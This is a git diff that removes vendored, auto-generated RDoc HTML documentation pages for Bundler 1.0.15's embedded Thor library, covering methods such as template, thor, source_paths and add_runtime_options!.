-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions/file_manipulation.rb, line 81</span>
-81:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">template</span>(<span class="ruby-identifier">source</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">block</span>)
-82:       <span class="ruby-identifier">config</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-83:       <span class="ruby-identifier">destination</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">||</span> <span class="ruby-identifier">source</span>
-84: 
-85:       <span class="ruby-identifier">source</span>  = <span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-identifier">find_in_source_paths</span>(<span class="ruby-identifier">source</span>.<span class="ruby-identifier">to_s</span>))
-86:       <span class="ruby-identifier">context</span> = <span class="ruby-identifier">instance_eval</span>(<span class="ruby-value str">'binding'</span>)
-87: 
-88:       <span class="ruby-identifier">create_file</span> <span class="ruby-identifier">destination</span>, <span class="ruby-keyword kw">nil</span>, <span class="ruby-identifier">config</span> <span class="ruby-keyword kw">do</span>
-89:         <span class="ruby-identifier">content</span> = <span class="ruby-constant">ERB</span>.<span class="ruby-identifier">new</span>(<span class="ruby-operator">::</span><span class="ruby-constant">File</span>.<span class="ruby-identifier">binread</span>(<span class="ruby-identifier">source</span>), <span class="ruby-keyword kw">nil</span>, <span class="ruby-value str">'-'</span>).<span class="ruby-identifier">result</span>(<span class="ruby-identifier">context</span>)
-90:         <span class="ruby-identifier">content</span> = <span class="ruby-identifier">block</span>.<span class="ruby-identifier">call</span>(<span class="ruby-identifier">content</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block</span>
-91:         <span class="ruby-identifier">content</span>
-92:       <span class="ruby-keyword kw">end</span>
-93:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="thor-method" class="method-detail ">
-				<a name="method-i-thor"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">thor</span><span
-						class="method-args">(task, *args)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Run a thor command. A hash of options can be given and it&#8217;s converted
-to switches.
-</p>
-<h4>Parameters</h4>
-<table>
-<tr><td valign="top">task<String></td><td><p>
-the task to be invoked
-</p>
-</td></tr>
-<tr><td valign="top">args<Array></td><td><p>
-arguments to the task
-</p>
-</td></tr>
-<tr><td valign="top">config<Hash></td><td><p>
-give :verbose => false to not log the status. Other options are given as
-parameter to <a href="../Thor.html">Thor</a>.
-</p>
-</td></tr>
-</table>
-<h4>Examples</h4>
-<pre>
-  thor :install, &quot;http://gist.github.com/103208&quot;
-  #=&gt; thor install http://gist.github.com/103208
-
-  thor :list, :all =&gt; true, :substring =&gt; 'rails'
-  #=&gt; thor list --all --substring=rails</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="thor-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 265</span>
-265:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">thor</span>(<span class="ruby-identifier">task</span>, *<span class="ruby-identifier">args</span>)
-266:       <span class="ruby-identifier">config</span>  = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">last</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Hash</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">args</span>.<span class="ruby-identifier">pop</span> <span class="ruby-operator">:</span> {}
-267:       <span class="ruby-identifier">verbose</span> = <span class="ruby-identifier">config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-value">:verbose</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">config</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value">:verbose</span>) <span class="ruby-operator">:</span> <span class="ruby-keyword kw">true</span>
-268:       <span class="ruby-identifier">pretend</span> = <span class="ruby-identifier">config</span>.<span class="ruby-identifier">key?</span>(<span class="ruby-value">:pretend</span>) <span class="ruby-operator">?</span> <span class="ruby-identifier">config</span>.<span class="ruby-identifier">delete</span>(<span class="ruby-value">:pretend</span>) <span class="ruby-operator">:</span> <span class="ruby-keyword kw">false</span>
-269: 
-270:       <span class="ruby-identifier">args</span>.<span class="ruby-identifier">unshift</span> <span class="ruby-identifier">task</span>
-271:       <span class="ruby-identifier">args</span>.<span class="ruby-identifier">push</span> <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Options</span>.<span class="ruby-identifier">to_switches</span>(<span class="ruby-identifier">config</span>)
-272:       <span class="ruby-identifier">command</span> = <span class="ruby-identifier">args</span>.<span class="ruby-identifier">join</span>(<span class="ruby-value str">' '</span>).<span class="ruby-identifier">strip</span>
-273: 
-274:       <span class="ruby-identifier">run</span> <span class="ruby-identifier">command</span>, <span class="ruby-value">:with</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:thor</span>, <span class="ruby-value">:verbose</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">verbose</span>, <span class="ruby-value">:pretend</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">pretend</span>
-275:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/ClassMethods.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/ClassMethods.html
deleted file mode 100644
index 37fae56e..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/ClassMethods.html
+++ /dev/null
@@ -1,511 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Module: Thor::Actions::ClassMethods</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="module">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/vendor/thor/actions_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions.rb">lib/bundler/vendor/thor/actions.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-			<div id="method-list-section" class="section">
-				<h3 class="section-header">Methods</h3>
-				<ul class="link-list">
-					
-					<li><a href="#method-i-add_runtime_options%21">#add_runtime_options!</a></li>
-					
-					<li><a href="#method-i-source_paths">#source_paths</a></li>
-					
-					<li><a href="#method-i-source_paths_for_search">#source_paths_for_search</a></li>
-					
-					<li><a href="#method-i-source_root">#source_root</a></li>
-					
-				</ul>
-			</div>
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark_txt.html">bundle-benchmark.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-config.html">bundle-config</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-config_txt.html">bundle-config.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/gemfile_5_txt.html">gemfile.5.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/templates/Gemfile.html">Gemfile</a></li>
-				
-				</ul>
-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
-				</fieldset>
-				</form>
-
-				<ul class="link-list">
-				
-					<li><a href="../../Bundler.html">Bundler</a></li>
-				
-					<li><a href="../../Bundler/BundlerError.html">Bundler::BundlerError</a></li>
-				
-					<li><a href="../../Bundler/CLI.html">Bundler::CLI</a></li>
-				
-					<li><a href="../../Bundler/Definition.html">Bundler::Definition</a></li>
-				
-					<li><a href="../../Bundler/DepProxy.html">Bundler::DepProxy</a></li>
-				
-					<li><a href="../../Bundler/Dependency.html">Bundler::Dependency</a></li>
-				
-					<li><a href="../../Bundler/Deployment.html">Bundler::Deployment</a></li>
-				
-					<li><a href="../../Bundler/DeprecatedError.html">Bundler::DeprecatedError</a></li>
-				
-					<li><a href="../../Bundler/Dsl.html">Bundler::Dsl</a></li>
-				
-					<li><a href="../../Bundler/DslError.html">Bundler::DslError</a></li>
-				
-					<li><a href="../../Bundler/Environment.html">Bundler::Environment</a></li>
-				
-					<li><a href="../../Bundler/GemHelper.html">Bundler::GemHelper</a></li>
-				
-					<li><a href="../../Bundler/GemHelpers.html">Bundler::GemHelpers</a></li>
-				
-					<li><a href="../../Bundler/GemNotFound.html">Bundler::GemNotFound</a></li>
-				
-					<li><a href="../../Bundler/GemfileError.html">Bundler::GemfileError</a></li>
-				
-					<li><a href="../../Bundler/GemfileNotFound.html">Bundler::GemfileNotFound</a></li>
-				
-					<li><a href="../../Bundler/GemspecError.html">Bundler::GemspecError</a></li>
-				
-					<li><a href="../../Bundler/GitError.html">Bundler::GitError</a></li>
-				
-					<li><a href="../../Bundler/Graph.html">Bundler::Graph</a></li>
-				
-					<li><a href="../../Bundler/GraphNode.html">Bundler::GraphNode</a></li>
-				
-					<li><a href="../../Bundler/Index.html">Bundler::Index</a></li>
-				
-					<li><a href="../../Bundler/Installer.html">Bundler::Installer</a></li>
-				
-					<li><a href="../../Bundler/InvalidOption.html">Bundler::InvalidOption</a></li>
-				
-					<li><a href="../../Bundler/InvalidSpecSet.html">Bundler::InvalidSpecSet</a></li>
-				
-					<li><a href="../../Bundler/LazySpecification.html">Bundler::LazySpecification</a></li>
-				
-					<li><a href="../../Bundler/LockfileParser.html">Bundler::LockfileParser</a></li>
-				
-					<li><a href="../../Bundler/MatchPlatform.html">Bundler::MatchPlatform</a></li>
-				
-					<li><a href="../../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Legacy.html">Bundler::RubygemsIntegration::Legacy</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Modern.html">Bundler::RubygemsIntegration::Modern</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Transitional.html">Bundler::RubygemsIntegration::Transitional</a></li>
-				
-					<li><a href="../../Bundler/Runtime.html">Bundler::Runtime</a></li>
-				
-					<li><a href="../../Bundler/Settings.html">Bundler::Settings</a></li>
-				
-					<li><a href="../../Bundler/SharedHelpers.html">Bundler::SharedHelpers</a></li>
-				
-					<li><a href="../../Bundler/Source.html">Bundler::Source</a></li>
-				
-					<li><a href="../../Bundler/Source/Git.html">Bundler::Source::Git</a></li>
-				
-					<li><a href="../../Bundler/Source/Path.html">Bundler::Source::Path</a></li>
-				
-					<li><a href="../../Bundler/Source/Path/Installer.html">Bundler::Source::Path::Installer</a></li>
-				
-					<li><a href="../../Bundler/Source/Rubygems.html">Bundler::Source::Rubygems</a></li>
-				
-					<li><a href="../../Bundler/SpecSet.html">Bundler::SpecSet</a></li>
-				
-					<li><a href="../../Bundler/UI.html">Bundler::UI</a></li>
-				
-					<li><a href="../../Bundler/UI/RGProxy.html">Bundler::UI::RGProxy</a></li>
-				
-					<li><a href="../../Bundler/UI/Shell.html">Bundler::UI::Shell</a></li>
-				
-					<li><a href="../../Bundler/VersionConflict.html">Bundler::VersionConflict</a></li>
-				
-					<li><a href="../../Thor.html">Thor</a></li>
-				
-					<li><a href="../../Thor/Actions.html">Thor::Actions</a></li>
-				
-					<li><a href="../../Thor/Actions/ClassMethods.html">Thor::Actions::ClassMethods</a></li>
-				
-					<li><a href="../../Thor/Base.html">Thor::Base</a></li>
-				
-					<li><a href="../../Thor/Base/ClassMethods.html">Thor::Base::ClassMethods</a></li>
-				
-					<li><a href="../../Thor/DynamicTask.html">Thor::DynamicTask</a></li>
-				
-					<li><a href="../../Thor/Error.html">Thor::Error</a></li>
-				
-					<li><a href="../../Thor/HiddenTask.html">Thor::HiddenTask</a></li>
-				
-					<li><a href="../../Thor/Invocation.html">Thor::Invocation</a></li>
-				
-					<li><a href="../../Thor/Invocation/ClassMethods.html">Thor::Invocation::ClassMethods</a></li>
-				
-					<li><a href="../../Thor/InvocationError.html">Thor::InvocationError</a></li>
-				
-					<li><a href="../../Thor/MalformattedArgumentError.html">Thor::MalformattedArgumentError</a></li>
-				
-					<li><a href="../../Thor/RequiredArgumentMissingError.html">Thor::RequiredArgumentMissingError</a></li>
-				
-					<li><a href="../../Thor/Shell.html">Thor::Shell</a></li>
-				
-					<li><a href="../../Thor/Shell/Basic.html">Thor::Shell::Basic</a></li>
-				
-					<li><a href="../../Thor/Shell/Color.html">Thor::Shell::Color</a></li>
-				
-					<li><a href="../../Thor/Shell/HTML.html">Thor::Shell::HTML</a></li>
-				
-					<li><a href="../../Thor/Task.html">Thor::Task</a></li>
-				
-					<li><a href="../../Thor/UndefinedTaskError.html">Thor::UndefinedTaskError</a></li>
-				
-					<li><a href="../../Thor/UnknownArgumentError.html">Thor::UnknownArgumentError</a></li>
-				
-					<li><a href="../../Thor/Util.html">Thor::Util</a></li>
-				
-					<li><a href="../../Gem.html">Gem</a></li>
-				
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-				
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-				
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-				
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-				<div id="no-class-search-results" style="display: none;">No matching classes.</div>
-			</div>
-
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-	</div>
-
-	<div id="documentation">
-		<h1 class="module">Thor::Actions::ClassMethods</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-
-		<!-- Attributes -->
-		
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-		<!-- Methods -->
-		
-		<div id="public-instance-method-details" class="method-section section">
-			<h3 class="section-header">Public Instance Methods</h3>
-
-		
-			<div id="add-runtime-options--method" class="method-detail ">
-				<a name="method-i-add_runtime_options%21"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">add_runtime_options!</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Add runtime options that help actions execution.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="add-runtime-options--source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 48</span>
-48:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">add_runtime_options!</span>
-49:         <span class="ruby-identifier">class_option</span> <span class="ruby-value">:force</span>, <span class="ruby-value">:type</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:boolean</span>, <span class="ruby-value">:aliases</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;-f&quot;</span>, <span class="ruby-value">:group</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:runtime</span>,
-50:                              <span class="ruby-value">:desc</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;Overwrite files that already exist&quot;</span>
-51: 
-52:         <span class="ruby-identifier">class_option</span> <span class="ruby-value">:pretend</span>, <span class="ruby-value">:type</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:boolean</span>, <span class="ruby-value">:aliases</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;-p&quot;</span>, <span class="ruby-value">:group</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:runtime</span>,
-53:                                <span class="ruby-value">:desc</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;Run but do not make any changes&quot;</span>
-54: 
-55:         <span class="ruby-identifier">class_option</span> <span class="ruby-value">:quiet</span>, <span class="ruby-value">:type</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:boolean</span>, <span class="ruby-value">:aliases</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;-q&quot;</span>, <span class="ruby-value">:group</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:runtime</span>,
-56:                              <span class="ruby-value">:desc</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;Supress status output&quot;</span>
-57: 
-58:         <span class="ruby-identifier">class_option</span> <span class="ruby-value">:skip</span>, <span class="ruby-value">:type</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:boolean</span>, <span class="ruby-value">:aliases</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;-s&quot;</span>, <span class="ruby-value">:group</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">:runtime</span>,
-59:                             <span class="ruby-value">:desc</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value str">&quot;Skip files that already exist&quot;</span>
-60:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="source-paths-method" class="method-detail ">
-				<a name="method-i-source_paths"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">source_paths</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Hold source paths for one <a href="../../Thor.html">Thor</a> instance. <a
-href="ClassMethods.html#method-i-source_paths_for_search">source_paths_for_search</a>
-is the method responsible to gather <a
-href="ClassMethods.html#method-i-source_paths">source_paths</a> from this
-current class, inherited paths and the source root.
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="source-paths-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 22</span>
-22:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">source_paths</span>
-23:         <span class="ruby-ivar">@_source_paths</span> <span class="ruby-operator">||=</span> []
-24:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="source-paths-for-search-method" class="method-detail ">
-				<a name="method-i-source_paths_for_search"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">source_paths_for_search</span><span
-						class="method-args">()</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Returns the source paths in the following order:
-</p>
-<pre>
-  1) This class source paths
-  2) Source root
-  3) Parents source paths</pre>
-					
-
-					
-					<div class="method-source-code"
-						id="source-paths-for-search-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 38</span>
-38:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">source_paths_for_search</span>
-39:         <span class="ruby-identifier">paths</span> = []
-40:         <span class="ruby-identifier">paths</span> <span class="ruby-operator">+=</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">source_paths</span>
-41:         <span class="ruby-identifier">paths</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">source_root</span> <span class="ruby-keyword kw">if</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">source_root</span>
-42:         <span class="ruby-identifier">paths</span> <span class="ruby-operator">+=</span> <span class="ruby-identifier">from_superclass</span>(<span class="ruby-value">:source_paths</span>, [])
-43:         <span class="ruby-identifier">paths</span>
-44:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="source-root-method" class="method-detail ">
-				<a name="method-i-source_root"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">source_root</span><span
-						class="method-args">(path=nil)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					<p>
-Stores and return the source root for this class
-</p>
-					
-
-					
-					<div class="method-source-code"
-						id="source-root-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/vendor/thor/actions.rb, line 27</span>
-27:       <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">source_root</span>(<span class="ruby-identifier">path</span>=<span class="ruby-keyword kw">nil</span>)
-28:         <span class="ruby-ivar">@_source_root</span> = <span class="ruby-identifier">path</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">path</span>
-29:         <span class="ruby-ivar">@_source_root</span>
-30:       <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-		</div>
-	
-
-	</div>
-
-
-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
-	</div>
-
-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
-
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/CreateFile.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/CreateFile.html
deleted file mode 100644
index 878c129c..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Thor/Actions/CreateFile.html
+++ /dev/null
@@ -1,334 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>Class: Thor::Actions::CreateFile</title>
-
-	<link rel="stylesheet" href="../../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-
-</head>
-<body class="class">
-
-	<div id="metadata">
-		<div id="home-metadata">
-			<div id="home-section" class="section">
-        <h3 class="section-header">
-          <a href="../../index.html">Home</a>
-          <a href="../../index.html#classes">Classes</a>
-          <a href="../../index.html#methods">Methods</a>
-        </h3>
-			</div>
-		</div>
-
-		<div id="file-metadata">
-			<div id="file-list-section" class="section">
-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
-					<ul>
-					
-						<li><a href="../../lib/bundler/vendor/thor/actions/create_file_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
-							class="thickbox" title="lib/bundler/vendor/thor/actions/create_file.rb">lib/bundler/vendor/thor/actions/create_file.rb</a></li>
-					
-					</ul>
-				</div>
-			</div>
-
-			
-		</div>
-
-		<div id="class-metadata">
-
-			<!-- Parent Class -->
-			
-			<div id="parent-class-section" class="section">
-				<h3 class="section-header">Parent</h3>
-				
-				<p class="link"><a href="EmptyDirectory.html">Thor::Actions::EmptyDirectory</a></p>
-				
-			</div>
-			
-
-			<!-- Namespace Contents -->
-			
-
-			<!-- Method Quickref -->
-			
-
-			<!-- Included Modules -->
-			
-		</div>
-
-		<div id="project-metadata">
-			
-			
-			<div id="fileindex-section" class="section project-section">
-				<h3 class="section-header">Files</h3>
-				<ul>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle.html">bundle</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-benchmark.html">bundle-benchmark</a></li>
-				
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-				
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-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec.html">bundle-exec</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-exec_txt.html">bundle-exec.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install.html">bundle-install</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-install_txt.html">bundle-install.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package.html">bundle-package</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-package_txt.html">bundle-package.txt</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update.html">bundle-update</a></li>
-				
-					<li class="file"><a href="../../lib/bundler/man/bundle-update_txt.html">bundle-update.txt</a></li>
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-					<li class="file"><a href="../../lib/bundler/man/bundle_txt.html">bundle.txt</a></li>
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-				
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-			</div>
-			
-
-			<div id="classindex-section" class="section project-section">
-				<h3 class="section-header">Class Index
-					<span class="search-toggle"><img src="../../images/find.png"
-						height="16" width="16" alt="[+]"
-						title="show/hide quicksearch" /></span></h3>
-				<form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
-				<fieldset>
-					<legend>Quicksearch</legend>
-					<input type="text" name="quicksearch" value=""
-						class="quicksearch-field" />
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-				
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-				
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-				
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-				
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-				
-					<li><a href="../../Bundler/PathError.html">Bundler::PathError</a></li>
-				
-					<li><a href="../../Bundler/ProductionError.html">Bundler::ProductionError</a></li>
-				
-					<li><a href="../../Bundler/RemoteSpecification.html">Bundler::RemoteSpecification</a></li>
-				
-					<li><a href="../../Bundler/Resolver.html">Bundler::Resolver</a></li>
-				
-					<li><a href="../../Bundler/Resolver/SpecGroup.html">Bundler::Resolver::SpecGroup</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration.html">Bundler::RubygemsIntegration</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/AlmostModern.html">Bundler::RubygemsIntegration::AlmostModern</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Deprecate.html">Bundler::RubygemsIntegration::Deprecate</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Gem.html">Bundler::RubygemsIntegration::Gem</a></li>
-				
-					<li><a href="../../Bundler/RubygemsIntegration/Gem/SourceIndex.html">Bundler::RubygemsIntegration::Gem::SourceIndex</a></li>
-				
